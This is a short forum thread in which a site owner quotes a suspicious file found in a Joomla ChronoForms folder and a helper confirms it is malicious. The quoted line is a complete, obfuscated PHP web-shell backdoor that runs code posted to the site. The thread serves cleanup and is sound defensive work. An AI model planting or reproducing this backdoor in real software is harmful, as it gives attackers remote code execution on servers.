Forums

Hi Bob,

I'm working on a site with suspicious files. One of the files flagged is:

/administrator/components/com_chronoforms5/chronoforms/fields/custom/backup-179.php

Myjoomla.com is telling me the file has two lines and the suspect line is Line 1:

<?php if($_GET['test']){echo 'success';}else{($www= $_POST['gdatc']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');}

I tried to look for the file on the component to replace it with a fresh one, but couldn't find it.

Any thoughts?

Jose

Hi Jose,

Nothing I recognise, the only file I have in that folder is custom.php which is used to create the Custom Code element in the ChronoForms Design tab.

The code is definitely malicious - see here for example. Basically it looks for a string of PHP code in a $_POST variable and executes it.

Bob

Thanks for the info!

Best,

jose